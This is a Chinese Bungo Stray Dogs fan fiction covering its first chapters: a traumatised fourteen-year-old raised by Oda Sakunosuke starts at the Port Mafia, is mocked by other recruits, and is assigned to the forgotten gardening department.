《[文野]干部先生请放过我的盆栽》
1. 清晨惊魂
——八年前
—
横滨港,高速路边,咖喱店。
每辆路过横滨港沿海公路的车,都会经过这家店
写着“自由”的招牌被风吹的锈迹斑斑,赭红色的油漆脱落了几块,只能通过斑白的痕迹确认原本写了什么。
这栋两层建筑不大,但十分坚固,日夜沐浴在潮湿的海水气中,地基和表面也没有松动的迹象。
店铺门头正贴着公路,往外就是波光粼粼的海面,远处偶尔传来悠长的汽笛声。
“咔嗒。”
站在窗边的少年一手拉开窗栓
海风涌入半开的窗户,墙上的日历被吹的哗啦作响
纸页翻滚犹如雪白浪花,顷刻间将画着黑圈的数字挡住。
4月7日,港口黑手党新人入职日。
3天前,望月璃久刚满十四岁
刘海有点长了,璃久抬手把它拨到一边,细眉下的黑眸古井无波,没有寻常孩子看到海景的兴奋,仿佛面前不是风景优美的海港,只是一块单纯的无机物。
他身后的房间不到十平米,墙壁白色的油漆掉了几块,显然没有被主人用心粉刷过,地板也只是浅浅打了一层蜡。
屋内家具寥寥,一张木板床,一张小桌子,一个小书架,最有生机的是窗台庇荫处的小绿箩,叶片绿油油的,在阳光下舒展开来
璃久盯着它看了一会儿,伸出食指,指腹极慢的滑过叶缘,再横渡到叶片中心,最后用两根手指捏住叶片,指腹上下滑动,偶尔打着转,像在把玩一件心爱之物。
一连串动作下来,叶片纹丝不动。
他就这么一动不动站在窗前,只有手指在叶片间穿梭,掠过叶尖或轻轻裹住整片叶子,直到新叶旧叶全部被抚摸过,他才低下头,鼻尖完全埋入盆间——
“笃笃”
“璃久,起床了吗。”
织田作之助敲开门时,看到的就是这副光景:黑发少年维持着单手托盆的姿势,鼻尖还粘着泥土粒。
他只用余光瞥了眼门口,就低下头继续被中断的“嗅土大业”,仿佛那小盆里装的是帝都东京皇宫内苑的奇珍异肴,而不是来自三条街外花鸟市场的腐殖土。
织田作对此习以为常
自从两个月前,后院泥土染上了春天的味道开始,少年就深深迷上了这股带着水汽的腥味。
对普通泥土尚且如此,更别提花了他小半个月的薪水,从市场买来的高级营养土了。
他只是绕开璃久,将半开的窗户完全关上,隔绝了海风和尾气的干扰。
鼻间全然充斥着泥土的湿腥气。璃久又深吸了一大口,感觉全身的细胞都被抚平,才恋恋不舍的把小盆放回原处,爬上床去够挂在墙上的黑色制服套装。
“等下,我帮你。”
从衬衫开始就不顺利,璃久收回落在衣服上的茫然视线,看着红发男人俯下身,手指灵巧的穿梭在圆形光滑物体和衣边的缝隙间。
他从没穿过这种衣服,只在去年冬天,织田作捡回来的女孩身上见过。
年末的那场战争,让咖喱店又多了五个孩子。璃久因此让出了采光最好的大房间,搬到了隔壁的小房间暂住。
为了助力织田作的“育儿大业”,他还找了份工作。离这不远,有单人宿舍,收入不高,但最重要的是,和织田作在同一个地方,
“西装——好像还是大了。”
说穿着,不如说被裹着,下摆盖住了腿根,肩线也滑到了大臂。
璃久像个被裹在大人衣服里的小孩子,最小号的西装对160cm的他而言也过于臃肿。
“忍一忍。”红发男人的声音从头顶传来,“只有入职日会穿成这样——手臂抬一下。”
璃久没动,织田作也维持着半俯身的姿势,静静等待着。
“……..一定要吗?”
“嗯,不然手臂会很难受。”
僵持十多秒,璃久才垂下眸,似在进行激烈的心理斗争。
又过了十多秒,他才不情不愿把手臂抬起15度。
“再高一点,30度。”
璃久皱起眉,手臂像生锈的零件,卡拉卡拉抬到30度。
“——好了。”
得到赦令,璃久立刻垂下手臂
他闭上眼深呼吸了三次,又从1默数到20,才看向半蹲在地,和自己同样打扮的织田作。
“为什么?”
不是只有入职日才需要穿西装吗?那为什么…….
“啊,之前的风衣湿了,暂时没有衣服换。”
织田作的语气就像冬日清晨喝到的玄米茶,平淡但温和。
至于风衣“湿了”的原因,大抵是因为昨晚的任务沾上了什么吧。
毕竟,横滨的夜晚和白天完全不同
璃久快走两步紧跟在织田作身后。他能闻到男人身上的硝烟味和阳光味,还有一丝淡淡的,若有若无的花香。
窗外,后院的两棵大樱花树已经盛开,远处则是一条种满了樱花树的林荫道,正是织田作来的方向。
走廊里很安静,只有一高一低两道说话声。
“早餐还是咖喱?”
“嗯。”
“辣度零?”
“嗯。”
“为什么?今天是入职日——”
“你还小。”
“三天前我已经达到横滨青少年的最低工作许可年龄线了,根据横滨法律,十四岁不属于无民事行为能力——”
“但今早这里只有普通咖喱。”
“……..”
“你可以换家店,或者不吃。”
“.........那你呢?”
“我吃过了。”
“………哦。”
—
“早啊,织田作,小望月
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,今早两份重辣?”
“早老板,一份普通,不要辣。”
“诶?今天这么重要的日子,也不来点辣?”
西餐厅的老板兼主厨面露诧异,毕竟织田作可是秉持“咖喱辣度和事件重要程度成正比”信仰的男人
虽然大多数事都没法让他动一下眉毛。但“小望月第一天上班”这件事难道不算“重要”吗?
“他还小,吃不了辣。”
又是这个敷衍至极的理由,仿佛那个在监狱大口吃辣咖喱的十四岁少年不是他织田作之助一样。
“我十四——”
璃久刚想反驳,余光瞥见厨房角落的废纸箱堆顶端,多了个带提手的点心盒。
樱色漆面,和窗外的樱花花瓣同色,误差率小于1%,盒盖上四片樱花正从枝桠上飘落,层数1,长18cm,宽12cm,高度10cm——
“重量目测在600g左右。”
织田作双手抱臂,“依据漆面绘图生动的程度,像是高级百货商店的点心盒。”
他绕到厨房后,手指轻点盒子表面,瞬时面前闪过数段影像。
“这——”
老板盯着这精致的“不速之盒”,“奇怪了,我就备了下辣椒,到底什么时候——”
若是在寻常的饮食店,大抵可以理解为“来自匿名客人的感谢”。
但这里是横滨,是不法之徒,走私犯,灰色商人等游走的租界地区。
“不是炸弹,安全。”
织田作没有打开盒子 ,但璃久和老板都对他的话深信不疑
因为织田作的工作需要大量接触危险包裹,加上他拥有名为「天衣无缝」,能提前看到五到六秒未来事件的异能力。
老板看了眼织田作,后者平静点头,才举起盒子到阳光下
盒体手感温凉宛如上好玉脂,漆面外壳在自然光下反射出由粉到白的渐变色,枝头花瓣也多了一抹飘逸的动感,宛如被看不见的风吹起,又翩然落下。
外表完全挑不出一丝不足,倒不如说过于完美了。
也让织田作之助更加确定这份“礼物”的来处。
“这点心应该不便宜吧。”
老板托着盒子翻了几次面,“没有价格,难道被撕了?”
不止如此,寻常点心盒还会在正面印刷产品名称,而这个盒子上除了那幅画之外空无一物。
“不,这点心(织田作在这个词上顿了顿)和盒子并不配套。换句话说,盒子只是降低警惕心的障眼法。”
织田作将盒子翻回底部,右下角几乎看不见的地方,樱色墨水写作的标语飞扬优雅。
「特制-樱花盛开身心洗涤套餐」
“重点,或者说惊喜(又是微妙的停顿)在里面。”
他拉开黄铜锁扣,“咔嗒”一声脆响
一只冷白纤细的手,忽然自右后方闪电般探出——
2. 两面夹心人
「提示:本章含大量私设」
—
“别开。”
璃久按住织田作的手腕
“不要开……里面的东西很吵……很乱………”
盒里甜腻又刺鼻,夹杂着腐腥的气味,让他想到灯光刺目的擂台,看客失控的吼声和永远擦不干净的血。
那是他永远也不想回去的地方
“璃久?”
织田作的声音忽远忽近,逐渐被欢呼声,击打声和骨骼碎裂声抹去。
“不要回……”
牙齿咬紧,指甲刺破了表皮。
血渗出来了。
璃久猛的仰头,视线内织田作的脸逐渐破碎,变成田中老板咧到嘴角的笑,和那一口被烟染黑了的牙——
“璃久——”
指下一空,右手被迅速反握,分明是能把骨头捏碎的力气却让他一下回归现实
“璃久,看着我。”
他睁大眼,男人灰蓝色的眸离得极近
近到能让他看见脸色灰白,额角渗汗的自己
“啪嗒——”一滴汗水不堪重负砸在地。
“深呼吸。”
他看着织田作的口型,跟着他将呼吸频率调整至静息水平后,罩在耳朵上的手就离开了。
屋外,花瓣随风而动,鸟儿清脆鸣唱,咸腥的海水汽从半开的窗户钻入屋内,脚下是踩起来会咯吱的木地板,身后是铺着红格纹桌布的餐桌。
“璃久,这里是咖喱店,横滨市鹤见区十五番街,Freedom咖喱店,不是你想的那个地方。”
“已经不是了,璃久,你已经出来了。”
面前的人是织田作之助,是半年前把他从水坑边捡回来,给了他住所和二次生命的人
“只要你不想,没人能让你再回去。”
话语重复地流淌着,逐渐洗去耳内噪声
织田作松开手,走到水池边,用创口贴遮住手腕的小伤口,又将窗户完全打开,
强风吹散了室内淡淡的腥味。
“织田作………是那群人又来了吗?”
璃久曾偶然听老板说起过,织田作在加入港口黑手党之前,曾被一群代号“48”的黑//警追捕
“不是,这是太宰送的。”
太宰?那个经常和织田作喝酒的太宰?
他不是织田作的朋友吗?
但刚才盒子里的味道,分明是冲着恶心陷害人才设计的东西
“不可能!——”
璃久瞪着织田作,像在责怪一个不懂事的孩子,“朋友之间才不会做这种事!”
朋友应该一起去小仓库偷止疼药,一起扛过输掉比赛后的关禁闭,一起分在垃圾场捡的水果糖,一起约好未来要买一栋能看见星星的房子………
“嗯,你说的对。”
璃久怔在原地,几乎找不回自己的声音,准备好的反驳词也忘了个干净。
“大多数朋友之间确实不会这样。”
“但太宰他,和一般人不太一样,他——”
织田作顿了顿
“他和你一样不善交际,有些古怪的爱好,还时常做些不可思议的事情,但不是个坏孩子,也不会伤害我。”
“不过——”
他的声音变得更低,如同深渊边的回响。
“虽然概率不高,如果在港口黑手党遇到太宰的话,他问什么,都不要回答,也不要和他对视,这样会比较好,必要的话,逃跑也没有关系。”
璃久怔怔的看着他,没有问为什么,只是在男人确信的目光下,点了点头。
如同过往的,和未来的无数次一样。
“我知道了,听你的。”
—
穿过后院的褐色小木门,走过正前方的樱花大道,尽头竖立着五栋大楼。
坐落于横滨一级地区的港口黑手党,也是二人今日的目的地。
璃久比预计晚了二十分钟才出门,早餐也变成了售货机的咖喱面包。
他本想不吃的,但织田作边叨叨“无论何时都不能饿肚子。”边把面包塞进他手里。
“没有老板做的咖喱好吃。”
他边嘀咕边大口把面包塞进嘴里,背被男人不轻不重拍了下
他撇撇嘴,大口吞咽变成了小口咀嚼。
十三年养成的习惯,让他来到咖喱店后顿顿都是狼吞虎咽
虽然有织田作和老板监督,但改起来并不容易。
“晚饭是咖喱。”
织田作没有提一句“因为你要呆在后院浪费了吃咖喱的时间”,
“中午可能来不及回去吃。”
“入职需要这么久吗?”
一不留神袖管又把手遮住了,璃久只得一手拽着衣袖一手拿着面包啃,“要一天?”
“一般是先集合,宣布成绩和分配部门,去18楼人事处领门卡和制服,再去对应部门报到。”
织田作仰头回忆着,“久不久取决于报到部门的负责人是不是个话痨。”
“你之前也是这样的吗?”
“不,我只是个底层杂役,没有直属的部门,这些是安吾告诉我的。”
“安吾?”
“嗯,坂口安吾,港口黑手党的情报官,也是我和太宰的朋友。”
“………哦。”
这么孤僻的人也会有这么多朋友啊。
“他在我们三个里最正经,是个知识分子,但和太宰一样,不要和他扯上关系会比较好。”
“……园艺部和情报部能有什么相关性?”
璃久三两口咽下最后一块蔬菜,将塑料纸团成一团,随手扔向三米开外的垃圾桶。
“噗——”纸团稳稳卡进塑料瓶间的微小缝隙。
璃久没看一眼,只仰头巴巴等着织田作的答案。
“按理来说没有,但在港口黑手党,最不缺的就是‘意外’。”
织田作看向璃久,目光沉稳
“对太宰也一样,按理说他是干部,你是普通成员,但谁能说不会有万分之一的相交可能性呢。”
“就像尘埃与高活性粒子,理论上碰撞概率极小,但一旦碰撞就会引发链式反应,对不对?”
“嗯,可以这么理解,所以不要让那个反应发生比较好。”
“………知道了。”
璃久没再争辩,他不动声色地看向身侧。
那里有三个穿同款制服的少年
他们正站在某个垃圾桶边,试图将手里的空罐子空投过去。
然而,罐子不是弹到桶壁,就是撞到入口边的垃圾,最后一次干脆擦着桶,飞进了草丛里。
“初始速度过小,目测4m/s,需修正至5.4m/s……”
璃久的视线在空罐和垃圾桶间来回切换
“角度需修正至初始角45度,以获得最优飞行距离………”
“璃久。”
织田作唤了他一声,他才自觉失言,眼神立刻四下扫视。
“没人听见。”织田作拍了拍他的肩,“下次注意。”
“哦。”璃久收回目光,紧绷的肩膀悄悄松懈下来
他快走两步追上男人的步伐,嘴上还不忘逞强,“你不在就不会了。”
你不在,我就不会忍不住想放松一点。
“嗯。”织田作假装没听出少年的言不由衷,只是望着前方越来越近的楼宇。
“到了。”他停下脚步,璃久也跟着他停下,左手不自觉攥紧了织田作的衣角。
“没到……”嗓音嘶哑,“还有四百零八米。”
“不,是我到了。”
织田作摇摇头,边拿下夹在腋下的帆布包,他面向璃久伸出双手,口吻郑重。
“璃久,入职礼物。”
璃久紧盯着那个袋子
他没有去接,仿佛这样就能延迟某个时刻的到来。
那个他不得不再次戴上面具,隐藏某些存在的时刻。
织田作没有催促,只保持着双臂伸出的姿势
两人静止在熙熙攘攘的人流中,像一幅滑稽的定格画。
终于,在织田作数到第五十次呼吸时,手掌传来织物与皮肤摩擦的麻痒感
包逐渐远离掌心,被两只纤细的手一点点拖了过去。
“………晚上,会再见的对吧?”
“嗯,今天的任务应该下午就能结束。”
璃久抱紧了帆布包,仿佛抱紧了
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一份承诺,一份保证。
“好。”
他没有再回头,只是沐浴在织田作平静的注视中,一步步汇入了黑色人流
最后,完全消失在了大楼投下的阴影中。
—
港口黑手党的新人入职前通常会在第三栋大楼集合,随后流入五栋大楼的各个部门
他们中的大多数会被分配到前线,成为枪炮下的牺牲品,被分配到文职后勤的人会成为不停运转的螺丝钉,直到生锈老化,幸运的话他们能在领取一笔丰厚的钱后离岗退休,而不是带着某个秘密死在不知名的角落。
只有极少数的人,能一路拾级而上,抵达总部大楼的高层,加入掌权者的队伍。
在两个月前结束的“龙头战争”——目前为止里世界最大的战争——结束后,两名少年刷新了晋升的速度和年龄纪录。
太宰治,中原中也,两名加入组织一年有余的少年,就因立下战功而分列干部和准干部之席
他们就像煤油里的灯火,吸引着无数同龄人前仆后继,妄图复刻,甚至超越他们的成功
但强烈的光芒,往往会遮蔽其下深不见底的黑暗,和本该成为绝大多数的可能性。
—
“才不到一年就当干部了!老子肯定也行!不过是两个毛头小子,等我当上干部,肯定要把他们踩在脚下使唤!”
“嘘——青木哥,这可是里世界最年轻的“双黑”啊,这样说是不是有点…….”
“双黑怎么了?健太郎,别像个娘们行不行!得有志气!”
牛高马大的少年青木捏紧右拳,拳头暴起青筋,连带着臂膀肌肉一并鼓起,几乎要把制服撑破
“凭老子的金刚之拳,管他什么“双黑”,来一个我揍一个!”
“青木大人威武!”
少年边围了三两个小弟,眼神像崇拜宇宙的孩子看到了宇航员
“不愧是武斗科成绩第一!指日可待啊!”
“哈哈哈!算你们识相!”
青木眯起眼,挨个儿叫出了他们铭牌上的名字
“好好跟着老子,等发达了,一定带你们吃香喝辣!”
在一众或羡慕或谄媚的人群之外,角落里的璃久显得格格不入
他侧身站着,半个身子隐藏在罗马立柱的阴影下,看着大落地窗外,樱花花瓣被风吹起又落下,最终被掩盖在杂草下,随日升月落,和褐色泥土一起沦为大树的养料。
“说起来,今年的新人还真是不入眼啊,特别是那个被老子一拳揍趴的小菜鸡,叫什么——望月璃久?!”
青木啐了一口,眼神恶毒的巡视一圈,精准锁定落地窗下的小身影
不到一米六的个子,最小码的新人制服在他身上都空落落的,在魁梧高大的青木眼底就是个小矮子
“就这身材也有胆子来港口黑手党?真是笑掉大牙!”
他顿了顿,视线紧紧锁在璃久身上,试图惹恼这棵小豆芽菜,再“名正言顺”的用金刚之拳将他揍飞,让大家伙看看谁才是真正的武斗之神!
“青木哥,你忘了吗,组织禁止内斗……”
健太郎试图阻止,却被另一人拦住
濑野(刚才带头起哄的人)眼中闪烁着兴奋的光:“别急,有好戏看了。”
“喂!说你呢!望月璃久!耳朵聋了吗!”
青木扯开嗓子又吼了一声,不远处几个路过的职员纷纷侧目
璃久本人却毫无反应,手指也没有动一下。
“妈的,敢无视我——”
青木骂着挽起袖子,露出的肌肉让几个女生别开视线,“今天不好好教教你——”
“青木大人,这种货色哪配脏了您的手啊。”
濑野笑眯眯的拦住暴怒的青木
“我们来就好了,保管让他跪在地上对您磕头,您不发话绝对不敢停。”
他边说边朝另两人使了个眼色,随后立刻退到青木身后,眸中闪过一道暗光。
窗边,璃久正想着晚上如何说服织田作让他尝尝特辣咖喱,右侧忽然投下两道阴影。
如毒蛇般黏腻的目光一左一右,落在了他怀里的帆布袋上。
“小子,包里装了什么好东西?”
3. 立威失败
—
璃久后退三步,靠上罗马柱。
面前一高一矮(姑且称他们为高子和矮子)两人,面带邪笑,眼里也明明白白写着“我要干坏事了你最好别躲”。
太稚嫩了,太直白了。
在那里不到1秒就会死吧。
“不说话?等会儿可别哭啊!”
高子一个箭步要去夺那个帆布包,却扑了个空。
因为璃久紧抱着包,左脚拌右脚,一下闪进他和矮子之间的微小空档。
“挺会躲啊!——”
矮子双手张开作猛虎扑食状,奈何璃久比他更“快”,小个子向后一缩,慌不择路的跑了几步。
“妈的!”
高子伸手去抓,璃久却突然跨出大步,腿一软摔在大厅中间。
一声巨响,让周围几名少年都皱起眉窃窃私语
“吓我一跳!——”
“声这么大,不会骨折了吧?”
“看起来就很痛的样子……..”
人群中央,璃久护着怀里的包裹瑟瑟发抖
“别过来!求求你们…….不要过来…….”
“别过来?”
青木狞笑着走近
“小子,现在求饶是不是太晚了?”
“这就是你无视我的代价——”
他俯下身,一把拎起手无缚鸡之力的少年
璃久双脚离地,像破布娃娃一样在空中晃来晃去
“好好感受本大爷的金刚之拳吧——”
他甩了甩右手臂,拳头捏紧了就要挥过去——
“啊!——”
不远处几个女生在尖叫
健太郎左顾右盼,犹豫要不要报告教官
更多人只是沉默围观
毕竟弱肉强食就是这里的核心生存法则。
但最近的高子矮子却看得清清楚楚
青木的拳头在半空中,出现了短暂的停顿。
他的脸上,甚至露出了难以置信的惊愕表情
发生什么了?
—
“干什么呢!——”
入口传来一声怒喝
所有人立刻挺胸抬头:“教官好!”
青木脸色惨白,手腕一甩,像丢垃圾一样把璃久甩了出去。
“青木胜也!——新人入职守则第三条是什么!”
“报……报告越隼教官!”
青木眼快,扫了眼男人的铭牌
“守……守则第三……条……..”
该死的,他哪里记得什么守则第三条?!
青木的目光求助的扫过其他同伴,但他们不是别开视线就是低头沉默。
“禁止与同伴内斗——”
轻细的提示在背后响起
青木顾不得思考,嘴先一步张开
“报告!是禁止与同伴内斗!”
“你也知道啊!那刚才揪着别人衣领,拳头还捏的那么紧,是想干什么?!“
青木被训的哑口无言,涨红了脸自知理亏。
“对不起!教官!我错了!——”
“哼,道歉倒是很快,第一天就这样不成体统,立原大人说的没错,就该好好挫挫你们的锐气。”
越隼身后,又进来个矮胖男人,腋下夹着一叠哗啦作响的黄纸
“青木,还有身后那个,濑野是吧?解散后先去训练场跑五十圈再去报道!——”
“………”
“怎么不说话?没长耳朵吗!”
“是!——佐藤教官!——”
“濑野呢?”
“…….好的,佐藤教官,谨遵您的指示。“
“小子,在这儿光说漂亮话可活不下来。”
佐藤瞥了眼笑眯眯的濑野,又环视周围,拔高嗓音
“还有你们,都给我记住了,港口黑手党就好比军队,知道军队最重要的生存法则是什么吗?”
“报告…….是一切听上级指挥…….”
“很好!——”
佐藤瞥了眼嗫糯出声的健太郎
“在军队,部下就要乖乖听上级安排,在这里也是一样!长官说往东绝不往西,不想掉脑袋的话,都给我记住了!”
“是!佐藤教官!——”
“很好,下面我宣布下这次,第13批普通新人入职分配情况——”
佐藤掏出黄纸交给越隼,目光挨个儿扫过在场的青涩面孔
“顺序按总分,就是武斗和笔试加起来的分数高低,叫到名字的人上来领成绩单,之后去18楼的人事处领制服和工卡。”
“青木胜也!——”
佐藤顿了顿,咧开嘴笑了,“没想到第一名是你小子。”
他接过越隼递来的纸递给青木,右手伸过去,重重拍了拍少年的肩膀
“武力测试断层第一!不错!加把劲,早点晋升黑蜥蜴。”
“是!佐藤教官!——”
青木眼含热泪,仿佛已经看到自己穿上黑蜥蜴制服的模样
他双膝并拢,深深对两个教官鞠了一躬,“之后请多多关照!——”
“还早呢,先在二队活下来再说吧。”
越隼别开视线,像赶苍蝇一样把人赶到一边,眼神示意佐藤念下一个名字。
“井山太郎,行动组四队!”
“伊藤源,行动组三队!”
“佐藤健太郎,行动组四队!”
佐藤将成绩单依次递给他们,点点头。
“好好干。”/“是!”
“濑野弘一,情报科二部!”
佐藤将成绩单往前伸了伸,“拿去。”
“谢谢教官…….”
佐藤只是摆摆手,转身去拿下一张。
越隼面无表情,左手机械重复着抽纸—递纸的动作
他的目光不动声色扫过在场的年轻面孔,尤其在青木,濑野,井山(就是那个高子)身上停留了几秒。
分数靠前的,几乎都选了行动组,情报科,暗杀部,拷问部等一线部门
和之前的十二次一样。
二线部里也有不少是选了一线,但因为成绩不达标而降级的。
那些人无一例外,挂着苦瓜脸,直勾勾盯着一线学员的纸,仿佛那是什么黄金玉帛。
但,根据越隼五年的经验,前者不一定是好事,后者也不一定是坏事。
—
名字一个个念过去,纸也没了大半。
越隼趁着佐藤喝水的间隙,扫了眼下一张成绩单。
那是一个清秀,或者说有些稚嫩的少年
微长的黑发遮住了眼睛,嘴角紧抿着。
照片左边是个人信息,下方则是各科成绩和考官评语,最后是入职部门核定。
“才14啊。”
他喃喃出声,“踩线进来的,难怪…….“
难怪成绩这么惨不忍睹
14岁都没开始发育,哪里打得过16,7岁人高马大的同性
更别提青木这样的大块头
也算他运气不好,和那样的新星分在一组,不到10秒就认输了。
“还算聪明。”
没像之前那个被打断两根肋骨,直接被抬出去的瘦麻秆一样。
“下一个——”
佐藤咧嘴一笑,像孩童发现了有趣的玩具
“有意思,真有意思。”
他故意顿了顿,视线慢悠悠的落在角落,抱着帆布包的少年身上
“下一位——望月璃久君——”
“君”这称呼在这分明只有揶揄和讽刺
越隼直起身,一眨不眨看着一步步走上前的璃久
是听不出来吗?还是……根本不在意?
“望月君,武斗科成绩垫底,不及格科目4门,啧啧,真是好运啊,再多1门就得哭着喊着回家找妈妈了呢~”
周围几个武斗派新人忍不住窃笑,眼神在璃久不合身的西装上来回滑过。
“笔试成绩,倒还算勉强。”
佐藤捏着璃久的成绩单甩来甩去,像在驱赶什么看不见的污秽
“入职部门嘛——”
他拖长了嗓音,猛的收回左手,皱巴巴的纸几乎要贴到脸上。
“噗——哈哈哈哈哈——望月君!你可真有趣啊——哈哈哈哈哈哈!——”
佐藤像第一次看见这张纸似的,笑了几十秒
“分配结果,园艺科!——”
全场死寂三秒,沸腾了。
“园艺科?!我没听错吧?我没听错吧!”
“什么玩意儿?!来港口黑手党养花?!疯了吧这小子!”
“怎么了?人家豆芽菜有自知之明啊,看看花养养草的多“文雅”!”
“就这小身板,连花瓶都搬不动吧?!别把自己砸死了!”
更多人只是捧腹大笑,尤其是青木,笑声都传到了二楼。
“港口黑手党七年没新人的部门都让你发现了,眼力真好啊——”
佐藤憋着笑,手一松,成绩单晃晃悠悠向下飘去。
“人事部你不用去
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了,拿着这张废纸直接滚去总部48楼吧。”
他没再看璃久一眼,只转身去要下一张——
“下一个——越隼?发什么呆呢?”
“没事。”越隼收回目光,将下一张递给佐藤。
但他垂在身侧的左手,指尖抖了一下。
他看得清楚,那张成绩单没碰到地,就落入了少年的掌心。
不,倒不如说是预判到了纸的落点,提前移动到位置等待……..
是错觉吧,越隼捏了捏手指
但那股寒意却依然盘旋在心头。
—
“下一个——斋藤——”
“哒,哒,哒。”
踏地声
有人走了进来。
佐藤立刻收回手,越隼也直起身子,目光中带着毫无保留的尊敬。
他们朝着由远及近的人影,深深鞠了一躬。
“中原准干部好!”
此话一出,全场哗然。
中原中也,年仅十六岁,但在龙头战争中立下赫赫战功的准干部
这份荣誉足以让所有行动组新人热血沸腾
若不是教官挡在前面,怕是早就冲上去。
“嗯。”
赭发少年应了一声,没有停下脚步,只朝两人瞥了一眼,
“在干什么啊?笑的那么吵。”
“啊,这——”
佐藤冷汗涔涔
总不能说是在拿新人取乐吧。
越隼立刻上前一步解围:“今天是第13批普通新人入职。”
“新人?”
中也停下脚步,帽檐下钴蓝色眼眸视线凌厉,几个最前排的少年瞬间噤声。
“素质怎么样?”
“有几个还不错,反应,体能,爆发力都还可以,就是心气高,不服管。”
佐藤低着头措辞谨慎
“之后我们会好好教导。”
“心气高?不服管?”
中也嗤笑一声
“没关系,上战场多见几次血就老实了。”
“是,准干部说的对。”
佐藤的腰弯得更低了
“机会难得,您要不要对他们说两句?”
“哈?!”
中也像被踩了一脚的猫
“有什么好说的?又不是粉丝见面会!”
“但我们就是中原干部您的小粉丝呀~”
濑野挤开青木上前,
“我们都是听说您的大名才奋不顾身要加入港口黑手党,您就是我们的偶像啊。”
中也:……
啊,这风格,真像那个阴暗的青花鱼。
“喂!濑野!别在这抢风头!——”
被挤开的青木怒吼一声,直接双膝跪地,瓷砖都被砸出一个浅坑
“中原大人!看看我青木胜也,武斗成绩第一的新人才配当您的下属!”
“哦?下属?可是青木君,您刚才好像说的是,要踩在中原大人的头上?”
“哈?!濑野你——”
“中原大人!您也看看我——”
“对对——还有我!我也是您的粉丝啊!——”
“好了好了好了!别过来了!——这里是港口黑手党!都给我注意点!站起来!跪着像什么样子!!”
“说的对!都站起来,太不像话了——井上,说你呢!别挤过去了!”
佐藤一声呵斥,乱成一锅粥的大厅终于安静下来。
“说点什么啊——”
中也烦躁的压了压帽檐,十几秒了,才憋着股劲儿出声,
“先努力活下去吧——”
黑风衣甩起弧度,将一众迎合奉承甩在身后
16岁的准干部红了耳尖低着头,大步朝东边电梯走去。
无人注意到,就在中也出现的那一刻,西边的安全通道门就被悄悄推开
抱着帆布包的身影一闪而过,很快消失在门后。
“哈,同样是小个子,中原大人的气场就是不一样!哪是你这根豆芽菜能比的?对吧——”
青木压下心头寒意,强撑着扬声嘲讽
但那个角落早就没了人。
“妈的,溜的比老鼠还快——”
他啐了一口,整了整衣领,带头大步朝电梯厅走去
该死,那个眼神
被拎起来时,自上而下看过来的眼神
是错觉吧
那种被当作猎物的,冷冽审视的眼神。
怎么会出现在一个吊车尾身上。
4. 童心未泯
—
安全通道少光、狭窄,始终弥漫着一股霉味。
但40m外的防火门后,就是绿树成荫的中庭花园。
樱花树下草坪上,多了块似岩石的黑色物体。
远看一动不动,近看微微起伏,如同“会呼吸的化石”。
—
在港口黑手党,除非违背员工三大守则,多出格的行为都不会被当成动物园的猴子围观,也不会被饲养员阻止。
这是织田作说的。
因此璃久心安理得的弓趴在地
背部拱起,鼻尖埋在泥土中,帆布包被他护在身下。
“1,2,3,4……..13,14,16……..20。”
潮湿的生腥气灌入鼻腔,一点点挤开残留的闷臭味。
他卸了力,完全趴伏在草坪上,西装依然严丝合缝盖在头顶
只有几缕光线顽强的穿过缝隙,照在他的眼皮上,晕开一片暗红。
就像台上的白炽聚光,烫的他眼皮发疼。
台下永远是黑压压的,只有嘶吼声拍打着耳膜。
「中原干部!——中原干部!——」
「影蚀!——影蚀!——」
那欢呼,和他记忆里的一样。
一样的疯狂,一样的迷醉。
“唔——”
胃部一阵绞痛。
璃久弓起身,脊背绷紧,颤抖着。
西装掉落,更多的光争先恐后挤入,像无形的刀刃,砍在他早已鲜血淋漓的伤口上。
不要想起来,不要回去…….
“年轻人,你还好吗??”
喊声像无形的手将他拽出回忆
紧闭的双眼猛然睁开,却只能看见虚晃的人影。
“这里是花园,不是什么可怕的地方哦。”
手指深深抠进泥土,关节传来指甲翻折的刺痛
熟悉的,潮湿的热意盖住了指腹
“需要帮你叫医生吗?或者,介意让我看看吗?虽然我也算个不入流的医生…….”
“……..不用…….”
璃久坐起身,失去血色的手指依然深陷在泥土里。
他身子一侧,躲开了伸到面前的手。
“真的不用嘛?你的脸色不太好哦。”
“不用……我还有事…….”
头顶的目光关切又温和
但璃久没有抬头,只是朝总部大楼的方向匆匆而去。
身后,褐色泥土淅淅沥沥的,洒了一地。
男人——森鸥外目送着少年宛如逃亡般的身影
“呀,刚才是被讨厌了嘛?”
“是的哦!林太郎刚才的样子完全就是个变态嘛!”
“好过分哦爱丽丝酱!我明明是在关心组织未来的人才健康嘛!”
“好恶心!”
娇小的红裙少女翻着白眼跑开
男人则慢悠悠的起身,随意拍了拍起皱的西装。
他走下草坪,俯身捻起一块残留在小径上的泥土。
潮湿,干净,带着残留的体温
没有任何血的味道。
森鸥外缓缓起身,最后看了一眼璃久消失的方向,又看了看自己的指尖。
那种程度的PTSD,他只在战争后的老兵身上见过。
是个有趣的孩子呢。
他平静地想着。
—
比起三号大楼,总部大楼要气派的多
人流熙熙攘攘,入口不时有载着政商名流的豪车停留。
大厅宽敞高挑,内部更是一尘不染。
但这些和璃久无关。
底层成员没有资格直接进入总部大楼。
他穿过花园进入侧门,顺着后勤电梯一路向上
途中开开关关了好几次,才抵达48层。
仅次于首领办公室下两层的干部楼层
门一开,清冽的空气涌入鼻腔。
脚下是长毛地毯,右手边暖黄墙纸包裹着防化材料
璃久扫一眼就知道,至少能扛住火/箭/弹程度的袭击。
“咔嗒——”
上膛声在落针可闻的走廊里响起
脚尖还没踏上地毯,眉心和心口就被枪口对准。
尽头,直通天花板的雕花大门前,一左一右站着两个黑西装墨镜守卫。
璃久没动,他们也没动。
他们都在等对方先开口。
两分钟后,左边的守卫绷不住了
“喂小子!这可不是游乐场!知道擅闯干部楼层是要掉脑袋的吗!”
璃久:………他摇了摇头,又点了点头。
守卫们:…………
左守卫:“说话!哑巴了吗?”
璃久:………“没有。”
左守卫:………“名字?叫什么?”
璃久:………“望月璃久,园艺科新人。”
“园艺科?!小子,找个好点的借口吧!这里是港口黑手党!不是养花种草的地方!哪来的园艺科?!”
璃久眉心一皱,盯着大吵大嚷的左守卫。
他们是在质疑织田作?
他们怎么敢质疑织田作?!
周身空气开始震颤,地毯上的毛无风自动,光线角度开始偏折。
“妈的,耳朵怎么回事。”
左守卫掏了掏耳朵,“耳鸣了?”
璃久:………“园艺科在哪?”
“什么园艺科!都说了没———”
“咳咳,冷静点,小泉。”
右守卫终于看不下去,“组织内是有园艺科的,但已经七年没有人来了。”
璃久:………
小泉:………
沉默,无尽的沉默
夹杂一丝(来自小泉的)羞恼和尴尬
